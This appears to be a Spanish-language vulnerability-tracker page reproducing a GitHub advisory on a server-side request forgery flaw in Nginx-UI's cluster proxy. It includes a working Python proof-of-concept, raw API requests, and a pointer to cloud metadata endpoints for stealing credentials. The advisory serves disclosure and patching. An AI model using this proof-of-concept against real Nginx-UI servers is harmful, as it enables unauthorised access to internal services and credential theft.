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Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-WR32-99HH-6F35

Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services

Sin parche publicado
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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición204 dDesde la divulgación, 29 abr 2026, 3:54 p. m.
Detección201 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
29 abr 26
25 jun 26
17 nov 26
19 nov 26
29 abr 26
19 jun 26
9 ago 26
29 sept 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-WR32-99HH-6F35 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

Details

The nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can:

  1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user)
  2. Create a cluster node via `POST /api/nodes` pointing to any internal URL:
{
    "name": "ssrf_node",
    "url": "http://127.0.0.1:51820",
    "token": "<node_secret>",
    "enabled": true
}
  1. Send any API request with the `X-Node-ID` header set to the created node's ID:
GET /api/settings HTTP/1.1
Authorization: <token>
X-Node-ID: 1
  1. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address.

Vulnerable code path:
- `internal/middleware/proxy.go` — `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc.

The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.

PoC
import requests

BASE = "http://TARGET:9000"
TOKEN = "<authenticated_jwt_token>"
HDR = {"Authorization": TOKEN}

# Step 1: Get node_secret
settings = requests.get(f"{BASE}/api/settings", headers=HDR).json()
node_secret = settings["node"]["secret"]

# Step 2: Create SSRF node pointing to internal service
resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={
    "name": "ssrf",
    "url": "http://127.0.0.1:51820",  # internal-only port
    "token": node_secret,
    "enabled": True,
})
node_id = resp.json()["id"]

# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings
resp = requests.get(
    f"{BASE}/api/settings",
    headers={**HDR, "X-Node-ID": str(node_id)},
)
print(resp.status_code, resp.text[:200])
# Response comes from the INTERNAL service, not nginx-ui

This can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service.

Impact

An authenticated attacker can:

  • Access internal services bound to localhost or private networks that are not intended to be externally reachable
  • Access cloud metadata endpoints (AWS/GCP/Azure instance metadata) to steal IAM credentials
  • Port-scan internal networks by creating nodes pointing to different internal IPs/ports
  • Trigger internal-only njs endpoints to escalate privileges (as demonstrated in the companion RCE advisory)
  • Bypass network segmentation and firewalls that only restrict inbound traffic

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI≤ 2.3.4
v1.9.9
2.3.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-44015
Otrahttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35
Otrahttps://github.com/0xJacky/nginx-ui

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